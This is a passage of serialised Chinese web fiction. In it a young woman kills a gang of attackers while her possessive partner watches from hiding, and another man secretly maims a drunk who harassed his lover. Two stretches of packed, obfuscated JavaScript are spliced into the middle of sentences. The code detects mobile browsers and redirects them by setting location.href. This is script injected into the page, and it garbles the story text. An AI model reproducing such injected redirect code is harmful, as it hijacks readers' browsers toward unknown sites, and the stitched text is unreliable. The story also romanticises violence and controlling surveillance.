她没有去看那道红痕,也没有提刚才被撞的事。不知为何,安德鲁此刻的眼神让她莫名地有些警觉,那笑容背后,似乎藏着些她看不透的东西。 安德鲁看着她,沉默了几秒,然后松开了手,那道红痕像真的锁链一样,留在了她的腕上。 他又恢复了那副开朗的样子,伸手揉了揉她的头发:“好,回去吧。下次想出来,叫我陪着你。” “知道啦。”方妙吐了吐舌头,转身朝着江府的方向走去。安德鲁跟在她身后,两人并肩而行,气氛看似融洽。 但方妙心里清楚,那道隐藏在暗处的视线,似乎在安德鲁出现后,短暂地消失了,又或者,是被另一种更直接的、带着掌控意味的目光覆盖了。她低着头,看着手腕上那道若隐若现的红痕,像一条无形的线,缠绕着她的警觉。 有人在看她。 不止一个。 年夜饭吃得热闹非凡。 江府的大厅里灯火通明,一张大圆桌摆满了各色菜肴,热气腾腾的蒸汽氤氲了整个房间。 方妙坐在安德鲁身边,笑得眉眼弯弯,像个真正无忧无虑的小姑娘。她不停给雀安夹菜,又不停叽叽喳喳地聊各种有趣事。安德鲁则一直温和地看着她,时不时帮她挡掉顾夜白闹着要灌她的酒,眼神里的宠溺几乎要溢出来。 一切都显得那么正常,那么温馨。 但方妙心里那根弦,从白天延续到现在,始终没有松懈。 她能感觉到安德鲁若有似无的注视,那目光里除了惯常的温柔,似乎还夹杂着一丝不易察觉的审视,尤其是在自己跟别人亲密的时候。而手腕上那道被他捏出来的红痕,虽然已经没有了,却像一个无形的烙印,时刻提醒着她刚才那瞬间的压迫感——她好像一直都忽视了安德鲁以往地注视,那是种监视。 还有白天那道隐藏在人群中的视线。 它消失了吗? 方妙不确定。她只知道,那感觉太熟悉了,带着一种刻骨的怨恨和……势在必得的阴冷。那绝不是普通的窥视,那是猎手锁定猎物的目光。 席间,她不动声色地观察着安德鲁。他正和江知烨说着什么,声音朗朗,笑容灿烂,是那种让人不由自主会亲近的模样。可方妙却莫名地想起了他握住她手腕时,指尖那股不容抗拒的力道,和他眼底深处一闪而过的、难以言喻的暗色。 安德鲁,真的像他表现出来的那么简单吗?那个表面开朗沉稳的伴侣,内心深处是否也藏着不为人知的角落? 晚饭过后,顾时夜和顾夜白缠着江知烨和柳漠澜去放烟花,府里一时更热闹了。方妙借口说有些累,先回了自己的院子。 院子里很安静,只有远处传来的隐约爆竹声。方妙让丫鬟们都下去休息,自己则坐在窗边,看着外面漆黑的夜空。月光很淡,被稀疏的云遮住,只洒下一点朦胧的光晕。 她睡不着。 白天的那道视线,安德鲁的眼神,手腕上的红痕,还有心底那股越来越强烈的不安,像一团乱麻,缠绕着她。她总觉得有什么事情要发生,就像暴风雨来临前的沉闷,让人喘不过气。 不行,不能坐以待毙——方妙是这么思考的。 方妙猛地站起身,走到衣柜前,换上了一身便于行动的深色劲装,外面套了件宽大的斗篷,将自己裹得严严实实。她吹灭了灯,悄无声息地从窗户翻了出去,像一道灵活的影子,融入了院外的黑暗中。 她没有目的地,或者说,她的目的地就是那些最黑暗、最偏僻的角落。 她要把那条隐藏的毒蛇引出来。 她故意避开了府里的眼线,选择了一条鲜有人走的后巷。巷子狭窄而幽深,两边是高高的围墙,只有偶尔从哪家院子里透出一点微弱的灯光,勉强照亮脚下坑洼的路面。寒风呜咽着穿过巷子,卷起地上的落叶和灰尘,发出“沙沙”的声响,更添了几分阴森。 方妙走得很慢,脚步放得极轻,耳朵仔细聆听着四周的动静。她能听到自己的心跳,沉稳而有力,带着一种孤注一掷的决绝。 走了大约一刻钟,巷子越来越深,几乎没有了人烟。空气中弥漫着一股潮湿的霉味和淡淡的垃圾气息。方妙停下脚步,背靠着冰冷的墙壁,缓缓地环顾四周。 寂静。 死一般的寂静。 只有风声。 难道是她猜错了? 方妙皱了皱眉,心里刚泛起一丝疑惑,突然,一股奇异的甜香钻入了她的鼻腔! 不好! 她瞳孔骤缩,立刻屏住呼吸,身体猛地向旁边一躲!但还是晚了一步,那股甜香带着麻醉的效果,迅速侵入她的感官。她感觉脑袋一阵眩晕,四肢的力气像是被抽空了一般,视线开始模糊。 在她意识彻底陷入黑暗之前,她看到几个黑影从巷子的各个角落里窜了出来,迅速将她包围。其中一个领头的黑影走到她面前,摘下了脸上的面罩。 那是一张饱经风霜、带着狰狞疤痕的脸,眼神里充满了怨毒和快意。 “方妙,好久不见了。”那人的声音嘶哑难听,像砂纸摩擦过木头,“没想到吧,你也有今天!” 方妙的意识已经有些模糊,但听到这个声音,她的嘴角却勾起了一抹几不可察的弧度。 果然是他。 张疤子。 当年她还在流浪的时候,曾在一个风雪交加的夜晚,骗走了他好不容易得来的半块窝头和一小袋碎银,还设计让他替自己顶了一个偷东西的罪名,被打断了一条腿。后来她辗转前往各处,便再没听过他的消息,没想到,他竟然还活着,并且找到了这里。 “你……”方妙的声音有些虚弱,却带着一丝嘲讽,“这么多年了,还惦记着那半块窝头?” 张疤子闻言,脸上的疤痕猛地抽搐了一下,眼中的怨毒更盛:“半块窝头?!你知道那半块窝头救了我和我老娘的命吗?!要不是你这个小贱人,我娘也不会……!”他猛地啐了一口,“还有那顿打,我的腿!我忍了这么多年,就是为了等这一天,把你碎尸万段!” 他一挥手,身后的几个黑影立刻围了上来,手里拿着明晃晃的刀。 “杀了她!给我往死里杀!”张疤子恶狠狠地嘶吼着。 方妙的身体还在发软,麻醉的效果还没过去。但她的眼神却一点也不慌乱,甚至带着一种近乎疯狂的兴奋。她知道自己在做什么,也知道这样做的风险。 但她更知道,只有这样,才能引出藏在更深暗处的东西。 她的目光,在那些黑影围上来的瞬间,飞快地扫过巷子深处最黑暗的那个角落。 那里,似乎有一道极淡的、几乎与黑暗融为一体的气息。 是安德鲁吗? 她不确定,但她赌他在。 麻醉的效果还在持续,方妙的四肢依旧有些不听使唤,脑袋也晕沉沉的。但这并不影响她眼底骤然燃起的疯狂火焰。 当第一个黑影举着刀朝她劈来时,她没有像寻常女子那样尖叫或躲避,而是猛地低身,用一个极其别扭却刁钻的姿势躲过了刀锋,同时,她藏在袖中的一枚小小的、闪着寒光的毒针,精准地刺入了那黑影的手腕! “呃!”黑影闷哼一声,手腕一麻,刀“哐当”一声掉在地上,瞬间捂住手腕,脸上露出痛苦和惊恐的神色。那毒针上的麻药,比刚才迷晕她的要猛烈得多,几乎是瞬间就麻痹了他的神经。 “妈的!她有武器!”张疤子见状,怒吼一声,“都给我小心点!别让这小贱人跑了!” 剩下的几个黑影立刻变得谨慎起来,呈扇形将方妙围在中间,一步步逼近。 方妙靠着墙壁,嘴角勾起一抹嗜血的笑。她的眼神亮得惊人,带着一种破罐破摔的狠戾,完全没有了平日里活泼可爱的模样。 这才是她,方妙,在泥泞里摸爬滚打出来的方妙,从来就不是什么需要人保护的娇弱女子。 “来啊!”她低喝一声,声音里带着一种奇异的蛊惑力,“不是要杀我吗?怎么,怕了?” 她猛地向前一冲,目标直指离她最近的一个黑影。那黑影显然没料到她麻醉未醒还敢主动攻击,愣了一下,连忙挥刀格挡。 方妙却在他刀光劈来的瞬间,身体一矮,像只灵活的猫一样从他腋下钻了过去,同时手肘狠狠向后撞去,正中他的后腰! “咔嚓”一声轻响,伴随着黑影一声凄厉的惨叫,他软软地倒了下去,显然是后腰骨被撞断了。 “疯了!这女人疯了!”另一个黑影见状,吓得声音都变了,握着刀的手开始颤抖。 方妙理都没理他,转身,眼神冰冷地看向张疤子。 张疤子被她眼中的疯狂和狠戾吓得后退了一步,色厉内荏地喊道:“愣着干什么?一起上!杀了她!” 剩下的两个黑影对视一眼,咬了咬牙,挥舞着刀从左右两边向方妙砍来。 方妙深吸一口气,强忍着眩晕感,身体如同柳絮般向后飘退,险之又险地避开了双刀。紧接着,她脚尖一点地面,身体猛地旋转,裙摆飞扬,如同盛开的黑色花朵。 “噗嗤!”“噗嗤!” 两声轻响,伴随着两声短促的惨叫。 那两个黑影捂着脖子倒了下去,鲜血从他们指缝里汩汩流出,眼神里充满了难以置信的恐惧。他们到死都没看清方妙是怎么出手的,只感觉脖子一凉,然后就什么都不知道了。 方妙站在原地,微微喘息着。她的斗篷有些凌乱,几缕发丝散落在脸颊旁,脸上溅了几点温热的血珠。她缓缓抬起头,看向脸色惨白、浑身发抖的张疤子。 “现在,轮到你了。”她的声音很轻,却带着千钧之力,压得张疤子几乎喘不过气。 “你……你别过来!”张疤子吓得魂飞魄散,手里的刀“当啷”一声掉在地上,他连连后退,直到后背抵在冰冷的墙壁上,退无可退,“你……你这个魔鬼!你不是人!” “魔鬼?”方妙轻笑一声,一步步向他走去,眼神里的疯狂和冰冷交织着,“在你想杀我的时候,怎么没想过我是不是人?在你老娘因为那半块窝头饿死的时候,你觉得这个世界有人性吗?” 她的声音越来越低,带着一种近乎呢喃的诡异:“张疤子,你以为我忘了吗?当年我不仅骗了你的窝头,还看到了你藏在破庙里的那些……脏东西。你以为你做的那些伤天害理的事情,真的没人知道吗?” 张疤子的脸色瞬间变得惨白如纸,嘴唇哆嗦着,说不出一个字。 “所以,”方妙走到他面前,抬起手,指尖几乎要碰到他脸上的疤痕,眼神里充满了厌恶和嘲讽,“你以为你是来报仇的?不,你只是来送死的。” 话音未落,她的手猛地变掌为爪,快如闪电般掐住了张疤子的脖子! “呃……”张疤子被她掐得眼睛暴突,双手徒劳地抓着她的手臂,想要挣脱,却感觉那只手如同铁钳一般,力气大得惊人。 方妙看着他痛苦挣扎的样子,脸上没有任何表情,只有眼底深处那抹疯狂的火焰在跳跃。她一点点收紧手指,感受着掌下生命的流逝。 “当年,你老娘断气的时候,是不是也这么难受?”她轻声问,语气平静得可怕。 张疤子的挣扎越来越弱,眼神渐渐涣散,最后,头一歪,彻底没了气息。 方妙松开手,张疤子的尸体软软地滑落在地。 巷子里恢复了寂静,只剩下方妙略显粗重的呼吸声,和地上几具尸体流出的鲜血,在冰冷的地面上渐渐凝固。 方妙站在一片狼藉之中,环顾四周。地上躺着五具尸体,都是刚才围攻她的人。她身上沾了血,头发也乱了,可她却仿佛感觉不到一样,只是静静地站在那里,眼神空洞地看着前方。 刚才那股疯狂的劲头过去,她才感觉到四肢的麻痹感渐渐退去,但随之而来的是深入骨髓的疲惫和一种莫名的空虚。 她做到了。 她杀了他们。 用一种近乎疯狂的方式。 可是,她为什么要这么做? 仅仅是为了自保吗? 不,她知道,她更多的是在试探。 试探那个藏在暗处的人。 她的目光,再次投向了巷子深处那个最黑暗的角落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694789|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一次,那道隐藏的气息没有再躲藏。 一个身影,缓缓地从黑暗中走了出来。 是安德鲁。 他依旧穿着白天那件深色的衣袍,脸上没有任何表情,不像平时那样温和开朗,也不像方妙预想中的震惊或厌恶。他的眼神很深,像一口古井,让人看不清里面到底在想什么。他一步步走到方妙面前,目光落在她身上的血迹和她脚下的尸体上,没有丝毫波澜。 方妙看着他,心脏猛地一缩。 他看到了。 他全都看到了。 看到了她刚才那副疯狂嗜血的样子,看到了她毫不留情地杀人。 他会怎么想? 他会害怕吗?会厌恶吗?会觉得她是个怪物吗? 无数个念头在方妙脑海里闪过,刚才那股杀人的狠戾和疯狂瞬间消失得无影无踪,取而代之的是一种巨大的刺激和兴奋。 她像个做错事的孩子,手足无措地站在那里,看着安德鲁。 下一秒,她突然“哇”的一声,哭了出来。 不是那种歇斯底里的哭,而是带着浓浓的委屈和试探,肩膀一抽一抽的,眼泪像断了线的珠子一样往下掉。 “安德鲁……”她抬起头,泪眼婆娑地看着他,声音哽咽,带着浓浓的鼻音,“你……你都看到了……” 她伸出手,想要抓住他,却又在半空中停住,像是不敢触碰他,只是指着地上的尸体,和自己身上的血迹,哭得更凶了:“我……我是不是很不可爱……是不是很邪恶……我……我不想让你看到这样的我……一点都不想……” 她的声音里充满了恐惧和不安,仿佛刚才那个杀人不眨眼的疯狂女子只是一场幻觉,此刻的她,才是那个需要人保护、害怕被嫌弃的方妙。 她在试探。 用最脆弱、最委屈的样子,试探安德鲁的反应。 她想知道,眼前这个男人,在看到她最不堪、最黑暗的一面之后,是否还会像以前一样对她。 安德鲁静静地看着方妙,看着她哭得梨花带雨,看着她眼神里那毫不掩饰的恐惧和委屈,看着她指向尸体的手指微微颤抖。 巷子里很安静,只有方妙压抑的哭声和远处偶尔传来的零星爆竹声,衬得这处黑暗的角落更加诡异。地上的血迹在月光下泛着暗沉的光,空气中弥漫着淡淡的血腥味,混杂着方妙身上残留的、属于那些人的污浊气息。 时间仿佛在这一刻静止了。 方妙的心提到了嗓子眼,她屏住呼吸,紧张地等待着安德鲁的回答。她甚至做好了他会露出厌恶、会后退、会从此疏远她的准备。 然而,安德鲁并没有。 他非但没有后退,反而向前走了一步,走到方妙面前。他伸出手,不是推开她,也不是露出任何嫌弃的表情,而是像往常一样,温柔地抬起手,替她擦去脸颊上的泪水。 他的指尖很暖,带着一种奇异的安抚力量,轻轻拂过她湿润的肌肤。 “哭什么?”他的声音依旧温和,听不出任何情绪,仿佛刚才看到的那血腥一幕只是一场无关紧要的闹剧,“吓到了?” 方妙愣住了,眼泪还挂在睫毛上,呆呆地看着他。 他……不介意? 安德鲁见她没反应,又伸出另一只手,轻轻握住了她刚才掐死张疤子的那只手。他的动作很轻柔,仿佛在对待一件易碎的珍宝,手指一根根地抚过她的指节,擦去上面沾染的血迹。 “这些人,”他的目光淡淡扫过地上的尸体,语气平静无波,“该杀。” 方妙的心跳漏了一拍。 该杀? 他说该杀? “他们想伤害你,”安德鲁的目光重新回到方妙脸上,眼神深邃,“好孩子,你做得对。” 方妙彻底懵了。她预想过无数种安德鲁的反应,却唯独没有想到他会是这样的态度。没有震惊,没有恐惧,没有厌恶,甚至……带着一丝认可? “可是……”方妙还在哽咽,声音有些断断续续,“我……我刚才的样子……很可怕……” “不可怕。”安德鲁摇了摇头,语气坚定,“在我眼里,你什么样都可爱。” 他顿了顿,眼神变得更加深邃,带着一种不容置疑的温柔和……掌控感:“只是,下次遇到这种事,不要自己动手。” 方妙抬起泪眼,疑惑地看着他。 安德鲁低下头,凑近她,温热的气息拂过她的耳廓,声音低沉而温柔,却带着一种不容抗拒的力量:“这种脏东西,弄脏了你的手,多可惜。” 他的手指轻轻摩挲着她的手背,那里似乎还残留着刚才杀人时的力道和温度。 “以后,”他一字一句地说,眼神紧紧锁住她,“这种事情,交给我。” “我会帮你处理好一切,”他的声音像羽毛一样轻,却重重地落在方妙的心上,“你只需要像以前一样,做我的妙儿,开心地笑就好。” 方妙看着他近在咫尺的脸,看着他眼中那几乎要将她溺毙的温柔,还有那温柔底下隐藏的、深不见底的掌控欲,突然觉得有些寒冷。 他不是不介意,他只是觉得,这种“脏事”不该由她来做。他想把她保护在一个干净的、只有他能看到的世界里,所有的黑暗和血腥,都由他来背负。 这是一种保护,还是一种更深层次的掌控? 方妙说不清楚。 她只知道,安德鲁的反应,比她预想的任何一种都要复杂,也都要……让她感到兴奋。 刚才她在杀人时的疯狂,是为了引出他,也是为了发泄内心的压抑和恐惧。而现在,他用这种温柔而强势的方式回应了她,将她所有的不安和恐惧都包裹起来,用一种近乎霸道的温柔告诉她:有我在,别怕。 这个男人,远比她想象的要深沉。他的开朗和温柔,像是一层完美的面具,掩盖着底下不为人知的黑暗和控制欲。 “安德鲁……”方妙轻声唤他,声音里还带着一丝哭腔,却多了一丝不易察觉的探究。 安德鲁看着她,眼神柔和:“嗯?” “你……是不是早就知道了?”方妙鼓起勇气问道,“知道有人要找我麻烦?” 安德鲁沉默了一下,然后轻轻点了点头:“白天的时候,察觉到了一些不对劲。怕你担心,就没告诉你。” 他顿了顿,补充道:“本来想等解决了再告诉你,没想到你……自己跑出来了。” 他的语气里带着一丝无奈,还有一丝不易察觉的赞赏。 方妙的心沉了沉。 他早就知道了。 他一直在暗中看着。 看着她被人盯上,看着她独自出门,看着她被撞,看着她半夜冒险走暗巷,甚至看着她被迷晕,看着她疯狂反杀。 他一直都在。 像一个沉默的猎手,冷眼旁观着猎物的挣扎,直到最后时刻才现身——一种理智高位的心理,在对方失去一切崩溃的时候适时出现,让对方彻底甘愿被控制。 “所以,你刚才……一直在暗处看着?”方妙的声音有些发颤,但更多的是兴奋,她兴奋这种被占有,被监视。 如果今天安德鲁选择离开自己,自己还是会回到他的身边,如果安德鲁不会占有她,她就占有安德鲁。 安德鲁没有否认,只是伸手,将她揽入怀中,轻轻拍着她的背,像安抚受惊的小动物:“好了,没事了。都过去了。” 他的怀抱很温暖,很坚实,是她以前一直依赖的港湾。她能感觉到他手臂的力量,那力量很稳,带着一种不容挣脱的禁锢感。 就像白天他握住她手腕时留下的那道红痕,像一条无形的锁链,缠绕着她。 “我们回去吧,”安德鲁松开她,帮她理了理凌乱的斗篷,遮住了上面的血迹,“外面冷,别冻着了。” 他的语气又恢复了平日里的温和开朗,仿佛刚才那血腥的一幕从未发生过,仿佛她刚才的疯狂和哭泣只是一场小小的插曲。 方妙点了点头,低着头,跟在安德鲁身后,默默地走出了那条黑暗的巷子。 身后,是横七竖八的尸体和渐渐冷却的血迹。 身前,是安德鲁宽阔的背影,和他身上那股熟悉的、带着掌控意味的温柔气息。 夜风吹过,卷起地上的落叶,发出“沙沙”的声响,仿佛在低语着什么不为人知的秘密。 那条隐藏的毒蛇已经被她亲手斩杀,可另一条无形的锁链,却在她毫无察觉的情况下,悄然缠绕上了她的脖颈。 方妙跟着安德鲁,一步步走向那片看似温暖的灯火,可脚下的路,却仿佛越来越幽深,越来越黑暗。 58. 深夜男鬼 江知烨握着刚买的徽墨,墨锭裹在油布里,触手微凉。 他走路带风,石板路在靴底发出清脆的声响,身后灯笼的光晕被拉成长长的影子,又随着他的步幅快速缩短,像极了他此刻略有些急切的心情。阿澜说府里的墨快用完了,他特意绕了远路去了“文心阁”,那里的油烟墨最对阿澜的胃口,研出的墨汁色泽沉润,带着淡淡的松烟香。 拐过熟悉的街角,前方灯笼的光晕忽然亮了些。江知烨抬眼,便看到了那个熟悉的身影。 柳漠澜站在一盏挂在茶肆门口的走马灯下,清瘦的身形被暖黄的灯光勾勒出柔和的轮廓。他似乎在等人,微微侧着头,目光落在灯影流转的图案上,神情安静,连额前几缕被风吹乱的发丝都显得格外清淡。 “阿澜!”江知烨心头一暖,扬声喊道,脚步也不由得加快了些。 他刚要上前,脚步却猛地顿住了。 一个身着锦袍的年轻男子不知从哪里冒了出来,正笑盈盈地走到柳漠澜面前。那男子面生得很,瞧着像是哪家的公子哥,脸上带着几分酒后的酡红,眼神里透着毫不掩饰的打量。 “这位公子,可是在等人?”男子的声音带着几分轻佻,拱手作揖,姿态却算不上恭敬。 柳漠澜闻声转过头,看到是个陌生人,清冷的眉峰微不可察地蹙了一下,语气疏离:“与你无关。” 江知烨皱了皱眉,站在阴影里没有动。他认得那男子,好像是城西李家的公子,平日里就有些浪荡,没想到居然敢来招惹阿澜。 李公子似乎没在意柳漠澜的冷淡,反而笑得更欢了:“哎,公子何必如此冷淡?在下李修,久仰公子风姿,今日得见,果然名不虚传。这大冷的天,公子一人站在此处,不如随在下找个地方喝杯热茶?” 柳漠澜后退了一步,拉开距离,语气更冷:“不必了,我等人。” “等谁啊?比在下还重要?”李修嘿嘿一笑,眼神在柳漠澜身上打转,“看公子这模样,莫不是在等心上人?” 江知烨的脸色沉了下来。他性子爽朗,平日里待人接物也算宽厚,但唯独在柳漠澜的事情上,半点容不得沙子。这李修言语轻佻,眼神更是放肆,让他心头的火气一点点往上涌。 他正要上前,却见李修突然往前一凑,竟趁着柳漠澜不备,伸手就想去搂他的肩膀! “公子何必拒人于千里之外,咱们交个朋友嘛——” “放肆!” 柳漠澜的声音陡然变冷,身体猛地向旁边一旋,动作快得惊人,竟让李修的手扑了个空。与此同时,他衣袖微动,一股淡淡的劲风扫过,李修只觉得手腕一麻,不由自主地退了半步。 柳漠澜站定,脸色冰寒,眼神里满是厌恶:“自重!” 说完,他不再看李修一眼,转身就朝着江府的方向走去,脚步匆匆,显然是被这突如其来的冒犯弄得很不悦。 “哎!公子!”李修愣了一下,似乎没想到柳漠澜身手如此利落,看着他离去的背影,撇了撇嘴,嘟囔了几句什么,也摇摇晃晃地朝着另一个方向走了。 江知烨站在原地,看着柳漠澜消失在街角的背影,又将目光转向李修远去的方向。他脸上的爽朗笑意早已消失不见,取而代之的是一片冰冷的晦暗。 他的阿澜,那样清冷温柔的人,何时受过这等轻慢? 李修的身影越来越小,最后消失在灯笼的光影交错之中。 江知烨握着墨锭的手指微微收紧,油布下的墨锭似乎也变得有些硌手。他站在原地,静静地站了一会儿,直到街上的行人渐渐稀少,那盏走马灯的光影在他脸上明明灭灭,映得他眼神深邃,看不真切。 然后,他才转过身,脚步沉稳地朝着江府走去,只是这一次,他走路带起的风里,似乎多了一丝不易察觉的寒意。 ...... 李修回到自己府里的时候,已经快子时了。他喝了些酒,脑袋晕乎乎的,一路被小厮扶着才勉强走到后院。 “去去去,都下去吧,小爷我自己能行。”他挥开小厮的手,打着酒嗝,踉踉跄跄地往自己的卧房走。 院子里很安静,只有墙角的积雪在月光下泛着冷光。李修摸了摸袖袋里的骰子,想起今晚赌坊里输了不少钱,又想起刚才在街上遇到的那个清冷公子,心里不由得有些烦躁。 “什么东西,装模作样的……”他嘟囔着,推开了房门。 他摸索着走进去,踢掉靴子,正准备往床上倒,忽然想起忘了吹灯。 “妈的,喝多了……”他骂了一句,转身准备去吹灭桌上的烛台。 就在这时,他眼角的余光似乎瞥见窗外的池塘方向有什么东西动了一下。 李修揉了揉眼睛,借着从窗户透进来的微弱月光,往池塘那边看去。 池塘结了一层薄冰,月光洒在冰面上,反射出冷冷的光。 刚才是他眼花了吗? 他晃了晃脑袋,试图清醒一些,刚想转过头,突然,他看到了—— 一个黑影,正从结着薄冰的池塘中央,以一种极其扭曲的姿势,缓缓地爬了出来! 那黑影似乎没有骨头,四肢以违背常理的角度弯折着,贴在冰面上,发出“咯吱咯吱”的轻响。它的动作很慢,却带着一种说不出的诡异和恐怖,仿佛不是活物,而是一具从水底爬出来的枯骨。 李修的酒意瞬间被吓醒了大半,心脏狂跳起来,几乎要从嗓子眼里蹦出来。 “谁?!谁在那里?!”他色厉内荏地喊道,声音却止不住地颤抖。 黑影没有回应,依旧以那种扭曲的姿势,一点点向岸边靠近。它的身体似乎覆盖着湿漉漉的东西,在月光下泛着幽光,还不断地滴落着水珠,砸在冰面上,发出“滴答滴答”的声响。 李修吓得腿一软,“扑通”一声瘫坐在地上,眼睛死死地盯着那个黑影,连呼吸都忘了。 就在这时,一阵冷风从窗户缝里灌了进来,“呼”的一声,竟把桌上的烛火吹灭了! 屋里顿时陷入一片彻底的黑暗。 “啊!”李修再也忍不住,发出一声短促的惊叫。 他手脚并用地往后爬,想要远离那扇窗户,远离那个恐怖的黑影。 “灯……灯……”他语无伦次地念叨着,摸索着想要找到火折子点灯,或者干脆爬起来关门。 就在他挣扎着想要起身的时候,突然,他感觉到背后传来一股刺骨的寒意! 那寒意湿冷粘稠,像是有人把一块冻了很久的冰贴在了他的后背上,让他浑身的汗毛都竖了起来。 他猛地回头! 身后空空如也,什么都没有。 可是那股湿冷的气息却越来越浓,仿佛就在他的脖颈边,带着一股水草和淤泥的腥臭味。 李修吓得魂飞魄散,连滚带爬地躲到了桌子底下,缩成一团,瑟瑟发抖。 月光透过窗户,在地上投下一片模糊的光影。 李修鼓起勇气,顺着月光看向窗户的方向。 这一看,他差点吓得背过气去! 只见窗台上,不知何时站着一个黑影。那黑影的轮廓看不真切,只能看到一双眼睛,一双在黑暗中闪烁着幽幽蓝光的眼睛! 那眼睛很大,死死地盯着他,里面没有任何情绪,只有一片冰冷的、如同寒潭般的死寂,还有一种近乎野兽般的……审视。 李修的大脑一片空白,他想喊,却发现喉咙像是被什么东西堵住了,发不出任何声音。他只能眼睁睁地看着那双蓝色的眼睛,感觉自己的灵魂都要被那冰冷的目光冻结。 就在这时,那双蓝眼睛的主人微微动了一下。 李修只觉得眼前一黑,一股巨大的力量猛地撞在他的头上,剧痛瞬间席卷了他的意识。 他甚至来不及发出一声惨叫,就彻底失去了知觉,软软地倒在地上。 ...... 李修是被一阵钻心的疼痛疼醒的。 他猛地睁开眼睛,首先映入眼帘的是自家卧房熟悉的屋顶。阳光透过窗户照进来,暖洋洋的,似乎昨晚的一切都只是一场噩梦。 但手上那清晰的、一阵阵传来的剧痛却在告诉他,那不是梦。 他僵硬地低下头,看向自己的手。 只见他的右手五指以一种怪异的角度扭曲着,尤其是食指和中指,明显呈现出骨折的形状,红肿得厉害,稍微一动,就是一阵剧痛传来,让他忍不住倒吸一口凉气。 “啊——!”他终于忍不住,发出一声凄厉的惨叫。 “公子!公子您怎么了?!”门外传来小厮惊慌的叫声,紧接着房门被猛地推开,几个小厮慌慌张张地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694790|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑了进来。 当他们看到李修那只扭曲的手和他惨白如纸的脸色时,都吓得脸色大变。 “公子!您的手……您的手怎么了?!” 李修疼得说不出话,只是指着自己的手,浑身颤抖。 小厮们手忙脚乱地想要上前查看,突然,其中一个眼尖的小厮指着地上,惊叫道:“血……血字!” 众人连忙顺着他指的方向看去。 只见冰冷的青砖地面上,靠近床脚的位置,赫然用蜡油写着四个歪歪扭扭的大字—— “管好自己的手” 那蜡油似乎是混合了什么东西,颜色暗红,在阳光下泛着诡异的光泽,尤其是那“手”字的最后一笔,拖得老长,像一道凝固的血痕。 李修顺着那四个字看去,只觉得一股寒气从脚底板直冲天灵盖,昨晚那双幽蓝的眼睛、那个扭曲的黑影、还有那股湿冷的气息,瞬间又清晰地浮现在他的脑海里。 他想起来了。 不是噩梦。 是真的。 有人……不,是有什么东西,闯进了他的卧房,折断了他的手指,还用蜡油写下了这四个字! “管……管好自己的手……”李修喃喃地重复着,眼神里充满了恐惧和难以置信。 他猛地想起了昨晚在街上,他对那个清冷公子做的事情…… 难道……是因为那个? 可是,那只是一个普通的公子哥,怎么会…… 李修不敢再想下去,他只觉得浑身冰冷,连牙齿都在不停地打颤。 “快……快!去请大夫!”他终于找回了自己的声音,对着小厮们嘶吼道,“还有……去报官!不,不对……” 报官? 他该怎么说? 说他被一个从池塘里爬出来的、长着蓝眼睛的黑影折断了手指?恐怕只会被当成疯子吧。 李修抱着自己受伤的手,蜷缩在床上,脸色惨白如纸。他看着地上那四个用蜡油写成的字,只觉得一股深入骨髓的恐惧攫住了他。 那不是警告,那是……惩罚。 一个来自黑暗深处的、冰冷而残酷的惩罚。 他终于明白,昨晚他招惹的,根本不是什么普通的公子哥。 而那个隐藏在暗处的、拥有着幽蓝眼睛的存在,恐怕也不是什么凡物。 李修疼得龇牙咧嘴,心里却只剩下了无尽的恐惧。 他发誓,以后再也不敢对任何人动手动脚了,尤其是像昨晚那个公子哥那样的人。 他只想快点治好自己的手,然后躲在家里,再也不出去了。 而此刻,“花月满人间”后院屋内。 江知烨正坐在窗边,看着柳漠澜在桌前研墨。阳光透过窗棂,洒在柳漠澜清俊的侧脸上,给他镀上了一层柔和的光晕。 “阿澜,”江知烨开口,声音温和,“昨晚让你受委屈了。” 柳漠澜研墨的动作顿了一下,抬起头看向江知烨:“无妨,不过是个登徒子。” 江知烨走过去,从身后轻轻环住他的腰,下巴抵在他的发顶,深深吸了一口气,仿佛要将他身上的墨香和暖意都吸入肺中。 “以后再遇到这样的人,告诉我。”江知烨的声音低沉而温柔,却带着一种不容置疑的坚定,“我会处理好。” 柳漠澜微微颔首,没有多说什么,只是将头微微向后靠了靠,靠在江知烨的怀里,继续专心研墨。 阳光正好,岁月静好。 只有江知烨自己知道,昨晚他站在阴影里,看着李修冒犯柳漠澜时,心中涌起的那股几乎要将他吞噬的杀意。 也只有他自己知道,昨晚子时,他是如何从李修家那结着薄冰的池塘里,以一种不属于人类的姿态爬出来,用一种让对方永生难忘的方式,告诉他,有些手,不是随便可以伸的。 他低头,看着怀中柳漠澜安静的侧脸,嘴角勾起一抹柔和的笑意。 他的阿澜,只能由他来守护。 他不会重蹈覆辙了。 任何想要伤害他的人,都要付出代价。 至于那地上的蜡油血字? 不过是随手留下的一点……小小的警示罢了。 毕竟,管好自己的手,是做人最基本的道理;不踏足别人的领地,是做动物最基本的道理。 59. 双生占有 顾时夜推开窗时,一片碎玉般的雪花恰好落在他鼻尖,凉意让他下意识皱了皱眉。 院子里,顾夜白正蹲在廊下,手里捧着个小竹筛子,筛子里是炒得喷香的粟米。他身边缩着个扎羊角辫的雀安。小姑娘鼻尖冻得通红,却笑得眉眼弯弯,看顾夜白往雪地撒粟米引麻雀的样子,半步不落地跟着。 